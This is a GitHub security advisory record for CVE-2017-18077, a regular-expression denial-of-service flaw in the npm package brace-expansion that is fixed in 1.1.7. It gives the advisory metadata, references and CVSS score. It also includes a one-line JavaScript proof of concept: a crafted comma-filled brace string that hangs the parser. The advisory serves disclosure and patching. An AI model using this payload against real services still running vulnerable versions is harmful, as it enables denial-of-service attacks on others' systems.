ghsa-832h-xg76-4gv6
Vulnerability from github
Published
2018-01-29 15:50
Modified
2021-09-03 22:10
Severity ?
Summary
ReDoS in brace-expansion
Details
Affected versions of brace-expansion
are vulnerable to a regular expression denial of service condition.
Proof of Concept
var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');
Recommendation
Update to version 1.1.7 or later.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "brace-expansion" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.1.7" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2017-18077" ], "database_specific": { "cwe_ids": [ "CWE-1333" ], "github_reviewed": true, "github_reviewed_at": "2020-06-16T21:24:01Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "Affected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require(\u0027brace-expansion\u0027);\nexpand(\u0027{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}\u0027);\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.", "id": "GHSA-832h-xg76-4gv6", "modified": "2021-09-03T22:10:24Z", "published": "2018-01-29T15:50:46Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18077" }, { "type": "WEB", "url": "https://github.com/juliangruber/brace-expansion/issues/33" }, { "type": "WEB", "url": "https://github.com/juliangruber/brace-expansion/pull/35" }, { "type": "WEB", "url": "https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3" }, { "type": "WEB", "url": "https://bugs.debian.org/862712" }, { "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-832h-xg76-4gv6" }, { "type": "PACKAGE", "url": "https://github.com/juliangruber/brace-expansion" }, { "type": "WEB", "url": "https://www.npmjs.com/advisories/338" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "ReDoS in brace-expansion" }
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Sightings
Author | Source | Type | Date |
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Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.